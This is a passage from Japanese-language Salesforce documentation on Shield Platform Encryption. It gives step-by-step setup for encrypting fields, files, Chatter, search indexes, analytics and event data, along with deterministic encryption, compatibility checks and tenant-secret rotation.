提案があると、メールで通知されます。
自動的に暗号化されるのは、暗号化を有効にした後に作成または更新されたレ
コードの項目値のみです。[暗号化統計およびデータ同期] ページから既存のデー
タを有効な鍵素材に同期します。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点
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Lightning Experience のカスタム項目の新規データの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

Lightning Experience の新しいカスタム項目に Shield Platform Encryption を適用するか、
既存のカスタム項目に入力された新しいデータに暗号化を追加します。
カスタム項目に確定的暗号化を適用するには、[設定] の [プラットフォームの暗
号化] の [高度な設定] ページで、確定的暗号化を有効にします。
1. [設定] から、[オブジェクトマネージャ] を選択して、オブジェクトを選択し

ます。
2. [Fields & Relationships (項目とリレーション)] をクリックします。
3. カスタム項目を作成または編集したら、[暗号化] を選択します。

この項目に入力された新しいデータはすべて暗号化されます。デフォルトで
は、データは確率的暗号化スキームを使用して暗号化されます。データに確
定的暗号化を適用するには、[暗号化] にリストされたオプションから [確定的]

を選択します。
4. [保存] をクリックします。
プラットフォームの暗号化の自動検証サービスによって、暗号化がブロックさ
れる可能性のある組織内設定がチェックされます。互換性がない設定を修正す
る提案があると、メールで通知されます。
自動的に暗号化されるのは、暗号化を有効にした後に作成または更新されたレ
コードの項目値のみです。[暗号化統計およびデータ同期] ページから既存のデー
タを有効な鍵素材に同期します。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点
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インストール済み管理パッケージのカスタム項目の暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

[高度な設定] ページで機能
を有効にする
• 「アプリケーションの

カスタマイズ」

インストール済みパッケージで Shield Platform Encryption がサポートされている場
合、そのパッケージのカスタム項目を暗号化できます。[高度な設定] ページから
インストール済み管理パッケージのカスタム項目の暗号化をオンにし、次に、
暗号化をインストール済み管理パッケージのカスタム項目に適用します。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[高度な設定] を選択します。
2. [管理パッケージのカスタム項目を暗号化] をオンにします。

管理パッケージの暗号化をプログラムで有効にすることもできます。詳細
は、『メタデータ API 開発者ガイド』の「PlatformEncryptionSettings」を参照し
てください。
これ以降、インストール済み管理パッケージで暗号化がサポートされている
場合、そのパッケージのカスタム項目を暗号化できます。アプリケーション
で暗号化項目がサポートされているかどうかわかりませんか? アプリケーショ
ンの AppExchange リストで、Salesforce Shield に対応した設計であることを示す
マーカーを探します。

このマーカーが表示されない場合は、アプリケーションベンダーにお問い合わせください。

メモ:  Salesforce で Spring '19 よりも前にこの機能が有効化されている場合は、[高度な設定] ページで再度
オプトインしてください。オプトインしない場合、これらの項目に対する暗号化の有効化や無効化は
できません。ただし、インストール済み管理パッケージの暗号化済みカスタム項目は暗号化されたま
まです。
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新しいファイルと添付ファイルの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

ファイルを暗号化する
• 「アプリケーションの

カスタマイズ」

データの保護を一層強化するために、ファイルや添付ファイルを暗号化します。
Shield Platform Encryption が有効になっている場合、各ファイルまたは添付ファイ
ルをアップロードするときにその内容が暗号化されます。

メモ: 開始する前に、組織に有効な暗号化鍵があることを確認します。不
明の場合は、システム管理者に確認してください。

1. [設定] の [クイック検索] ボックスに「暗号化ポリシー」と入力し、[暗号化ポ
リシー] を選択します。

2. [ファイルと添付ファイルを暗号化] を選択します。
3. [保存] をクリックします。

重要: ファイルへのアクセス権を持つユーザは、暗号化固有の権限に関係
なく、正常にファイルを操作できます。組織にログインしていて、参照ア
クセス権を持っているユーザは、本文の内容を検索および参照できます。

ユーザは、通常のファイルサイズの制限に従って、ファイルおよび添付ファイ
ルを暗号化後もアップロードできます。暗号化によって増大したファイルサイ
ズは、これらの制限に含まれません。
ファイルおよび添付ファイルの暗号化を有効にすると、新しいファイルおよび
添付ファイルに影響します。すでに Salesforce にあるファイルおよび添付ファイ
ルは、自動的に暗号化されません。既存のファイルを暗号化する方法について
は、Salesforce にお問い合わせください。
ファイルまたは添付ファイルが暗号化されているかどうかを確認するには、ファ
イルまたは添付ファイルの詳細ページで暗号化インジケータを探します。
ContentVersion オブジェクト (ファイルの場合) または Attachment オブジェクト (添
付ファイルの場合) の isEncrypted 項目を照会することもできます。

ファイルが暗号化されている場合は、次のように表示されます。

メモ: 暗号化用表示は、Salesforce Classic でのみ使用できます。
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Chatter のデータの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

項目を暗号化する
• 「アプリケーションの

カスタマイズ」

Chatter の Shield Platform Encryption を有効にすると、Chatter でユーザが共有する情
報にセキュリティレイヤが追加されます。フィード投稿とコメント、質問と回
答、リンク名と URL、アンケートの質問と選択肢、およびカスタムリッチパブ
リッシャーアプリケーションのコンテンツに保存されたデータを暗号化できま
す。
Chatter の暗号化は、本番環境で有効化する前に専用の Sandbox 環境でテストする
ことをお勧めします。
カスタム項目や標準項目の暗号化とは異なり、Chatter の暗号化では、対象とな
るすべての Chatter 項目が暗号化されます。
1. 組織に有効な暗号化鍵があることを確認します。不明な場合は、システム管

理者に確認してください。
2. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[暗号化ポリシー] を選択します。
3. [Chatter の暗号化] をクリックします。
Shield Platform Encryption の自動検証サービスによって、暗号化がブロックされる
可能性のある設定がチェックされます。このサービスによって潜在的な問題が
検出された場合、問題の修正を提案するメールが送信されます。
Chatter の暗号化を有効にした後、Chatter に入力する新規データが暗号化されま
す。過去の Chatter データを暗号化するには、Salesforce カスタマーサポートにバッ
クグラウンド暗号化サービスを依頼してください。
暗号化された Chatter 項目を編集または更新すると、項目の改訂履歴も暗号化さ
れます。たとえば、投稿を更新すると、その投稿の古いバージョンは暗号化さ
れたままです。
Spring '17 で Chatter の暗号化を有効にし、最新の機能にアクセスする必要がある場合は、[Chatter の暗号化]を選
択解除し、[Chatter の暗号化] を再選択します。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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検索インデックスファイルの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

暗号化鍵 (テナントの秘密)
管理を有効にする
• 「プロファイルと権限

セットの管理」

データベースで暗号化されている個人識別情報 (PII) やデータの検索が必要になる
ことがあります。組織を検索すると、結果は検索インデックスファイルに保存
されます。Shield Platform Encryption でこれらの検索インデックスファイルを暗号
化し、データに対してもう 1 つのセキュリティレイヤーを追加できます。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. 選択リストから [検索インデックス] を選択します。
3. [テナントの秘密を生成] を選択します。

この新しいテナントの秘密では、検索インデックスファイルに保存された
データのみが暗号化されます。

4. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力
し、[暗号化ポリシー] を選択します。

5. [検索インデックスを暗号化] を選択します。
検索インデックスが、有効な検索インデックスのテナントの秘密で暗号化さ
れました。
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Tableau CRM データの暗号化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Tableau CRM
Platform と、Salesforce
Shield または Platform
Encryption アドオンのいず
れかを購入する必要があ
ります。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

鍵素材を管理する
• 「暗号化鍵の管理」

Tableau CRM Encryption の使用を開始するには、Shield Platform Encryption を使用して
テナントの秘密を生成します。Tableau CRM テナントの秘密を生成すると、Tableau

CRM では Shield Platform Encryption 鍵管理アーキテクチャを使用して Tableau CRM デー
タを暗号化します。
Tableau CRM Encryption を使用するには、Tableau CRM Encryption 製品マネージャによっ
て承認されている必要があります。アクセスを要求するには、Salesforce サポー
トにケースを登録してください。
「Shield Platform Encryption でのデータのセキュリティの強化」で、Tableau CRM の
鍵管理アーキテクチャについて理解を深めてください。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. 選択リストから [Analytics] を選択します。
3. テナントの秘密を生成し、鍵素材をアップロードします。
4. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[暗号化ポリシー] を選択します。
5. [Tableau CRM の暗号化] を選択します。
6. [保存] をクリックします。

Tableau CRM の新しいデータセットが暗号化されるようになります。

メモ: 暗号化が有効になる前に Tableau CRM にあったデータは暗号化され
ません。データフローを介して Salesforce オブジェクトからインポートさ
れる既存のデータは、次のデータフローの実行時に暗号化されます。他
の既存のデータ (CSV データなど) は、再インポートしないと暗号化され
ません。暗号化が有効になっても、既存のデータは暗号化されません
が、暗号化されていない状態で引き続きアクセスできて完全に機能しま
す。
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イベントバスデータの暗号化

エディション

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。
Salesforce Shield または
Platform Encryption アドオ
ンのいずれかを購入する
必要があります。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

鍵素材を管理する
• 「暗号化鍵の管理」

保存時の変更データキャプチャまたはプラットフォームイベントメッセージの
暗号化を有効にするには、イベントのテナントの秘密を生成してから、暗号化
を有効にします。
次の手順で、変更データキャプチャとプラットフォームイベントの両方の暗号
化を有効にします。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [テナントの秘密種別を選択] ドロップダウンリストで、[イベントバス] を選

択します。
3. [テナントの秘密を生成] をクリックするか、お客様が提供するテナントの秘

密をアップロードするには、[Bring Your Own Key] をクリックします。
4. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[暗号化ポリシー] を選択します。
5. [変更データキャプチャイベントとプラットフォームイベントを暗号化] を選

択します。
6. [保存] をクリックします。

警告: 変更データキャプチャイベントとプラットフォームイベントの Shield

Platform Encryption を有効にしていない場合、イベントはイベントバスにクリ
アテキストで保存されます。

互換性の問題の修正

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

Shield Platform Encryption で暗号化する項目またはファイルを選択すると、副作用
が発生しないかどうかが Salesforce によって自動的にチェックされます。既存の
設定が原因で Salesforce でのデータアクセスや通常の使用に問題が発生する可能
性がある場合は、検証サービスにより警告が表示されます。これらの問題を解
決するには、いくつかのオプションがあります。
結果にエラーメッセージが含まれる場合、次の制約事項の 1 つ以上が原因であ
る場合があります。
ポータル

従来のカスタマーポータルまたはパートナーポータル (2013 年以前に作成さ
れたもの) が組織で有効になっている場合は、標準項目を暗号化できません。
従来のカスタマーポータルを無効にするには、[設定] のカスタマーポータル
設定ページに移動します。従来のパートナーポータルを無効にするには、[設
定] のパートナーページに移動します。

メモ:  Experience Cloud サイトはこの問題に関係ありません。暗号化と完
全に互換性があります。

条件に基づく共有ルール
条件に基づく共有ルールの検索条件に使用されている項目が選択されています。
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SOQL/SOSL クエリ
SOQL クエリの集計関数か、WHERE、GROUP BY、または ORDER BY 句で使用されている項目が選択されていま
す。

数式項目
サポートされていない方法でカスタム数式項目によって参照されている項目が選択されています。数式で
は、BLANKVALUE、CASE、HYPERLINK、IF、IMAGE、ISBLANK、ISNULL、NULLVALUE、および連結 (&) を使用できま
す。

フローとプロセス
次のいずれかのコンテキストで使用されている項目が選択されています。
• フローのデータを絞り込む
• フローのデータを並び替える
• プロセスのデータを絞り込む
• レコード選択肢セットのデータを絞り込む
• レコード選択肢セットのデータを並び替える

メモ: デフォルトでは、要素ごとに最初の 250 個のエラーのみが結果に表示されます。結果に表示され
るエラーの数を 5,000 まで増やすことができます。Salesforce にお問い合わせください。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption について書かれています。相違点
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項目に対する暗号化の無効化

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

設定を参照する
• 「設定・定義の参照」

暗号化を無効にする
• 「アプリケーションの

カスタマイズ」

ある時点で、項目やファイルあるいはその両方の Shield Platform Encryption を無効
にする必要が生じる場合があります。項目の暗号化は個別に有効または無効に
できますが、ファイルの暗号化はすべてを有効または無効にする必要がありま
す。
項目に対して Shield Platform Encryption を無効にすると、ほとんどの暗号化データ
が自動的に一括復号化されます。特定の項目に対する暗号化を無効にして変更
を保存すると、復号化が自動的に開始します。データが復号化されると、デー
タが暗号化されていたときに制限されていたか、使用できなかった機能も復元
されます。復号化プロセスが完了すると、Salesforce からメールで通知されます。

メモ: 破棄した鍵で暗号化された項目の暗号化を無効にする場合、自動暗
号化解除に要する時間は長くなります。このプロセスが完了すると、Salesforce

からメールで通知されます。
ロングテキストエリアおよびテキストエリアデータ型は、自動的には復号化さ
れません。破棄した鍵で暗号化されたデータを復号化する場合、そのデータは
一括復号化できません。

メモ:  Shield Platform Encryption を無効にして、以前に暗号化していた項目の
データにアクセスできない場合は、Salesforce にお問い合わせください。

1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力
し、[暗号化ポリシー] を選択します。

2. [項目を暗号化] をクリックし、[編集] をクリックします。
3. 暗号化を停止する項目を選択解除して、[保存] をクリックします。

ユーザはこれらの項目のデータを表示できます。
4. ファイルまたは Chatter の暗号化を無効にするには、[暗号化ポリシー]ページでそれらの機能を選択解除し、

[保存] をクリックします。
プラットフォームの暗号化によって制限または変更された機能が、復号化後のデータに対して復元されます。

確定的暗号化を使用した暗号化データの絞り込み
確定的暗号化を使用して Shield Platform Encryption で保護したデータを絞り込むことができます。レポートやリス
トビュー内のレコードの基盤となる項目が暗号化されている場合でも、ユーザはそれらのレコードを絞り込む
ことができます。大文字と小文字を区別する確定的暗号化または大文字と小文字を区別しない完全一致の暗号
化を、項目単位でデータに適用できます。
確定的暗号化は、SOQL クエリの WHERE 句をサポートし、一意の ID 項目および外部 ID 項目と互換性がありま
す。また、単一列インデックスと、単一列および 2 列の一意のインデックスもサポートしています。確定的暗
号化鍵タイプでは、CBC モードと静的初期化ベクトル (IV) を使用する 256 ビット鍵での Advanced Encryption Standard

(AES) を使用します。
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このセクションの内容:

確定的暗号化での絞り込みのサポート
デフォルトでは、Shield Platform Encryption では、データを暗号化するときに確率的暗号化スキームが使用さ
れます。各データは暗号化されるたびに、完全にランダムな暗号文字列に変換されます。通常、暗号化は、
データを参照する権限を持つユーザに影響しません。例外は、データベース内でロジックが実行される場
合や、暗号化された値が文字列または別の暗号化された値と比較される場合です。これらの場合は、デー
タがランダムでパターンのない文字列に変換されているため、絞り込みが不可能です。たとえば、カスタ
ム Apex コード内で、Contact オブジェクトに対して LastName = 'Smith' の SOQL クエリを実行するとします。
LastName 項目が確率的暗号化を使用して暗号化されている場合、このクエリを実行できません。確定的暗
号化は、この問題に対応しています。
確定的暗号化スキームを使用したデータの暗号化
確定的暗号化スキームを使用して暗号化されたデータに固有の鍵素材を生成します。実行する必要のある
絞り込みの種別に応じて、大文字と小文字を区別する確定的暗号化スキーム、または大文字と小文字を区
別しない確定的暗号化スキームのいずれかをデータに適用できます。確定的暗号化スキームを項目に適用
したり、確定的暗号化スキームを変更するときは、データを同期します。データを同期すると、絞り込み
またはクエリで正確な結果が得られるようになります。

確定的暗号化での絞り込みのサポート
デフォルトでは、Shield Platform Encryption では、データを暗号化するときに確率的暗号化スキームが使用されま
す。各データは暗号化されるたびに、完全にランダムな暗号文字列に変換されます。通常、暗号化は、データ
を参照する権限を持つユーザに影響しません。例外は、データベース内でロジックが実行される場合や、暗号
化された値が文字列または別の暗号化された値と比較される場合です。これらの場合は、データがランダムで
パターンのない文字列に変換されているため、絞り込みが不可能です。たとえば、カスタム Apex コード内で、
Contact オブジェクトに対して LastName = 'Smith' の SOQL クエリを実行するとします。LastName 項目が確率的暗号
化を使用して暗号化されている場合、このクエリを実行できません。確定的暗号化は、この問題に対応してい
ます。
データが暗号化されているときに絞り込みを使用できるようにするには、データ内に何らかのパターンを許容
する必要があります。確定的暗号化では、静的初期化ベクトル (IV) を使用することで、暗号化されたデータを
特定の項目値と照合できるようにしています。システムは暗号化されたデータを読むことはできませんが、静
的 IV を使用することで、そのデータを表す暗号文字列を取得することができます。特定組織の特定項目の IV

は一意であり、組織固有の暗号化鍵でしか復号化できません。
暗号化手法の相対的な強さと弱さは、特定のアルゴリズムに対して行われる可能性のある攻撃の種類に基づい
て評価します。また、攻撃が成功するまでに要する時間も考慮します。たとえば一般に、AES 256 ビット鍵に
対するブルートフォース攻撃は、現在のコンピューティング能力ではとんでもない年数がかかると言われてい
ます。それでも、定期的に鍵の循環を行うのが一般的です。
完全にランダムな暗号文字列でない場合は、特定の種類の攻撃がそれほど非現実的ではなくなります。たとえ
ば、攻撃者は確定的に暗号化された暗号文字列を分析して、クリアテキスト文字列の Alice が常に暗号文字
列の YjNkY2JlNjU5M2JkNjk4MGJiNWE2NGQ5NzI5MzU1OTcNCg==に解決されることを特定できる可能性があ
ります。十分な時間をかけて傍受すれば、攻撃者はクリアテキスト値と暗号文字列値の辞書を作成すること
で、暗号化を破ることができます。
Salesforce Shield の手法では、正規のユーザが暗号化データを絞り込むのに十分なだけの確定性を公開しつつ、
特定のプレーンテキスト値がすべての項目、オブジェクト、組織で一様に同じ暗号文字列値にならない程度に
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確定性を制限しています。攻撃者が 1 つの項目でクリアテキストと暗号化された値を一致させることに成功し
ても、別の項目や別のオブジェクトの同じ項目に対しては最初からやり直す必要があります。
こうすることで、確定的暗号化による強度の低下を、絞り込みを可能にするのに最低限必要な程度に抑えるこ
とができます。
確定的暗号化には、大文字と小文字を区別するものと、大文字と小文字を区別しないものの 2 種類がありま
す。大文字と小文字を区別する暗号化では、取引先責任者オブジェクトに対する SOQL クエリで LastName = Jones

とすると、Jones のみが返され、jones や JONES は返されません。同様に、大文字と小文字を区別する確定的ス
キームで一意性をテストする場合、「Jones」の各バージョンがすべて一意になります。
大文字と小文字を区別しない場合、リードオブジェクトに対する SOQL クエリで Company = Acme とすると、
Acme、acme または ACME が返されます。大文字と小文字を区別しないスキームで単一性 (一意性) をテストする
場合、「Acme」の各バージョンは同一とみなされます。

重要: 取引先責任者オブジェクトのメールアドレス項目では、確率的暗号化はサポートされません。セル
フ登録時に取引先が重複して作成されないようにするには、確定的暗号化を使用してください。

確定的暗号化スキームを使用したデータの暗号化

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロードする
• 「暗号化鍵の管理」

確定的暗号化を有効にす
る
• 「アプリケーションの

カスタマイズ」

確定的暗号化スキームを使用して暗号化されたデータに固有の鍵素材を生成し
ます。実行する必要のある絞り込みの種別に応じて、大文字と小文字を区別す
る確定的暗号化スキーム、または大文字と小文字を区別しない確定的暗号化ス
キームのいずれかをデータに適用できます。確定的暗号化スキームを項目に適
用したり、確定的暗号化スキームを変更するときは、データを同期します。デー
タを同期すると、絞り込みまたはクエリで正確な結果が得られるようになりま
す。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [テナントの秘密種別を選択] メニューから、[Salesforce のデータ] を選択しま

す。
3. テナントの秘密を生成またはアップロードします。
4. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力し、[高度な設定] を選択しま

す。
5. [確定的暗号化] を有効にします。

確定的暗号化をプログラムで有効にすることもできます。詳細は、『メタデータ API 開発者ガイド』の
「PlatformEncryptionSettings」を参照してください。

6. [設定] で [鍵の管理] を選択します。
7. 秘密種別 [Salesforce のデータ (確定的)] を選択します。
8. テナントの秘密を生成します。

確率的暗号化と確定的暗号化を組み合わせることができます。つまり、一部の項目をどちらかで暗号化し、
別の一部の項目をもう一方で暗号化することができます。
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9. 項目ごとに暗号化を有効にし、確定的暗号化スキームを選択します。その方法は、標準項目とカスタム項
目で異なります。
• 標準項目の場合は、[設定] から [暗号化ポリシー] を選択し、[項目を暗号化] を選択します。暗号化する

各項目に対して、項目名を選択し、暗号化スキームリストから [確定的 - 大文字と小文字を区別する] ま
たは [確定的 - 大文字と小文字を区別しない] のいずれかを選択します。

• カスタム項目の場合は、オブジェクトマネージャを開き、暗号化する項目を編集します。[この項目の
コンテンツを暗号化する] を選択し、暗号化スキームを選択します。
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有効化プロセスが完了すると、メールで通知されます。

メモ: 多数のレコードを含む項目に確定的暗号化を適用する場合は、有効化プロセスに長い時間がか
かる可能性があります。絞り込みをサポートするため、有効化プロセスでは項目インデックスも再作
成されます。

10. 項目に対して確定的暗号の適用または削除を行う場合、その項目の既存のデータがクエリまたはフィルタ
に表示されない場合があります。完全な確定的機能を既存のデータに適用するには、[暗号化統計および
データ同期] ページからすべてのデータを有効な鍵素材に同期します。詳細については、「バックグラウン
ド暗号化サービスによるデータ暗号化の同期」を参照してください。
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鍵の管理と循環
エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

鍵素材を管理する
• 「暗号化鍵の管理」

Shield Platform Encryption を使用すると、データの暗号化に使用される鍵素材の管
理および循環が可能になります。Salesforce を使用してテナントの秘密を生成し、
それをリリースごとの主秘密と結合してデータ暗号化鍵を抽出できます。抽出
されたデータ暗号化鍵は、暗号化と復号化の機能で使用されます。Bring Your Own

Key (BYOK) サービスを使用して独自の鍵素材をアップロードすることも、鍵素材
を Salesforce の外部に保存し、キャッシュのみの鍵サービスで鍵素材をオンデマ
ンドで取得することもできます。
鍵管理では、まずセキュリティ管理者に適切な権限を付与します。信頼できる
ユーザに、データの暗号化、証明書の管理、および鍵素材の操作ができる権限
を付与します。これらのユーザの鍵管理活動と暗号化活動を設定変更履歴を使
用して監視することをお勧めします。承認された開発者は、Salesforce API で
TenantSecret オブジェクトへのコールをコーディングして、テナントの秘密を生
成、循環、エクスポート、破棄、再インポート、およびアップロードできます。

このセクションの内容:

鍵素材の操作
Shield Platform Encryption では、組織のための一意のテナントの秘密を生成する
か、独自の外部リソースを使用してテナントの秘密または鍵素材を生成でき
ます。いずれの場合も、独自の鍵素材を管理します。つまり、鍵素材の循環
やアーカイブを行うことができ、鍵素材の責任を共有する他のユーザを指定
できます。
暗号化のテナントの秘密の循環
テナントの秘密のライフサイクルを制御することで、データ暗号化鍵のライフサイクルを制御します。Shield

Platform Encryption の新しい鍵素材の生成またはアップロードを定期的に行うことをお勧めします。テナント
の秘密を循環する場合は、それを Salesforce が生成したテナントの秘密か顧客が提供した鍵素材に置き換え
ます。
テナントの秘密のバックアップ
Shield Platform Encryption テナントの秘密は、組織およびテナントの秘密を適用する特定のデータに対して一
意です。テナントの秘密をエクスポートして、関連データに引き続きアクセスできるようにすることをお
勧めします。
暗号化カバー率に関する統計情報の取得
[暗号化統計] ページには、Shield Platform Encryption で暗号化されたすべてのデータの概要が表示されます。こ
の情報は、鍵の循環および管理作業を掌握するのに役立ちます。暗号化統計を使用して、鍵素材の循環後
に更新するオブジェクトと項目を識別することもできます。
バックグラウンド暗号化サービスによるデータ暗号化の同期
暗号化ポリシーは定期的に変更します。または、鍵を循環します。Shield Platform Encryption を使用して、暗
号化戦略から最大限の保護を実現するには、最新の暗号化ポリシーおよび鍵を使用して、暗号化された新
規および既存のデータを同期します。これは自分で行うことも、Salesforce に支援を依頼することもできま
す。
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鍵素材を破棄
Shield Platform Encryption テナントの秘密と鍵素材の破棄は、関連データにアクセスする必要がなくなったと
いう極端な場合にのみ行います。鍵素材は、組織および鍵素材が適用される特定のデータに固有です。鍵
素材を破棄すると、以前にエクスポートした鍵素材をインポートしない限り、関連データにアクセスでき
なくなります。
鍵管理での多要素認証の義務付け
多要素認証 (MFA) はデータとリソースへのアクセスをセキュリティ保護するための強力なツールです。鍵素
材と証明書の生成、循環、アップロードなどの Shield Platform Encryption の鍵の管理タスクに、多要素認証を
義務付けられるようになりました。
Bring Your Own Key (BYOK)

独自のテナントの秘密を使用すると、Salesforce Shield Platform Encryption の利点を得られるだけでなく、テナ
ントの秘密を専用に管理することによって高保証を実現できます。
キャッシュのみの鍵サービス
Shield Platform Encryption のキャッシュのみの鍵サービスは、保持されない鍵素材に対する独自のニーズに対
処します。鍵素材を Salesforce の外部に保存し、キャッシュのみの鍵サービスを使用して、制御する鍵サー
ビスから鍵をオンデマンドで取得できます。鍵サービスにより、設定した安全なチャネルを介して鍵が転
送され、キャッシュのみの鍵サービスによって即時の暗号化操作および復号化操作に鍵が使用されます。
Salesforce は、どのレコードのシステムまたはバックアップにもキャッシュのみの鍵を保持しません。鍵素
材はいつでも取り消せます。

鍵素材の操作

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

鍵素材を管理する
• 「暗号化鍵の管理」

Shield Platform Encryption では、組織のための一意のテナントの秘密を生成するか、
独自の外部リソースを使用してテナントの秘密または鍵素材を生成できます。
いずれの場合も、独自の鍵素材を管理します。つまり、鍵素材の循環やアーカ
イブを行うことができ、鍵素材の責任を共有する他のユーザを指定できます。
新しい鍵素材を生成またはアップロードすると、新しいデータはすべてこの鍵
を使用して暗号化されます。これが現在の有効な鍵です。他方、既存の機密デー
タは、現在はアーカイブされている以前の鍵で暗号化されたままです。こうし
た場合、有効な鍵を使用してこのデータを再暗号化することを強くお勧めしま
す。[暗号化統計およびデータ同期] で有効な鍵素材を使用してデータを同期でき
ます。

メモ: このページは、従来の暗号化ではなく Shield Platform Encryption につい
て書かれています。相違点
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暗号化のテナントの秘密の循環

エディション

アドオンサブスクリプ
ションとして使用可能な
エディション: Enterprise
Edition、Performance
Edition、および Unlimited
Edition。Salesforce Shield
の購入が必要です。
Summer '15 以降に作成さ
れたDeveloper Edition 組織
は無料で使用できます。

Salesforce Classic および
Lightning Experience の両方
で使用できます。

ユーザ権限

テナントの秘密および顧
客が指定した鍵素材を生
成、破棄、エクスポー
ト、インポート、アップ
ロード、設定する
• 「暗号化鍵の管理」

テナントの秘密のライフサイクルを制御することで、データ暗号化鍵のライフ
サイクルを制御します。Shield Platform Encryption の新しい鍵素材の生成またはアッ
プロードを定期的に行うことをお勧めします。テナントの秘密を循環する場合
は、それを Salesforce が生成したテナントの秘密か顧客が提供した鍵素材に置き
換えます。
テナントの秘密を循環する頻度を決める場合は、セキュリティポリシーを確認
してください。鍵素材を循環できる頻度は、テナントの秘密種別と環境に応じ
て異なります。テナントの秘密は間隔ごとに 1 回循環できます。

表 1 : テナントの秘密の循環間隔
Sandbox 環境本番環境テナントの秘密種別

4 時間24 時間Salesforce のデータ

4 時間7 日Salesforce のデータ (確定的)

4 時間24 時間分析

7 日7 日検索インデックス

7 日7 日イベントバス

鍵派生関数では主秘密が使用されます。主秘密は、Salesforce のメジャーリリー
ス時に毎回循環されます。テナントの秘密を循環するまで、主秘密は暗号化鍵
や暗号化されたデータに影響しません。
1. [設定] から、[クイック検索] ボックスに「プラットフォームの暗号化」と入力

し、[鍵の管理] を選択します。
2. [テナントの秘密種別を選択] ドロップダウンから、データ型を選択します。
3. そのデータ型のテナントの秘密の状況を確認します。既存のテナントの秘密は、有効、アーカイブ済み、

または破棄済みとして表示されます。
有効

新規または既存のデータを暗号化および復号化する場合に使用される可能性があります。
アーカイブ済み

新しいデータを暗号化できません。鍵が有効であったときにこの鍵を使用して以前に暗号化されたデー
タを復号化する場合に使用される可能性があります。

破棄済み
データを暗号化および復号化することはできません。鍵が有効であったときにこの鍵を使用して暗号化
されたデータを復号化することはできません。この鍵で暗号化したファイルおよび添付ファイルはダウ
ンロードできません。

4. [新しいテナントの秘密を生成] または [Bring Your Own Key] をクリックします。顧客が指定したテナントの
秘密をアップロードする場合、暗号化されたテナントの秘密とテナントの秘密ハッシュをアップロードし
ます。
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メモ: 有効およびアーカイブされたテナントの秘密は種別ごとに最大 50 件まで使用できます。たとえ
